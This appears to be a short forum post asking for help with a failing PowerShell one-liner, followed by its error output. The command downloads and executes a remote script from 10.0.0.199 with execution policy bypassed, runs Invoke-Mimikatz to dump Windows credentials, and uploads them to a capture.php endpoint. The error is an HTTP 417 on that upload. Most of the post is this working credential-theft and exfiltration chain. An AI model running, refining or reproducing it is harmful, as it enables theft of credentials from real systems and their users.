Just realized I had a typo, but the original error I had still exists. Below is the command I am running, as well as the Output:
C:\Windows\system32>powershell -NoP -Exec Bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.199/im.ps1');$o=Invoke-Mimikatz -DumpCreds;[System.Net.ServicePointManager]::Expect100Continue = $false;(New-Object Net.WebClient).UploadString('http://10.0.0.199/capture.php',$o)"
Exception calling "UploadString" with "2" argument(s): "The remote server returned an error: (417) Expectation Failed."
At line:1 char:204
+ IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.199/im.ps1');$o=Invoke-Mimikatz -DumpCreds;[System.Net.ServicePointManager]::Expect100Continue =
$false;(New-Object Net.WebClient).UploadString <<<< ('http://10.0.0.199/capture.php',$o)
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : DotNetMethodException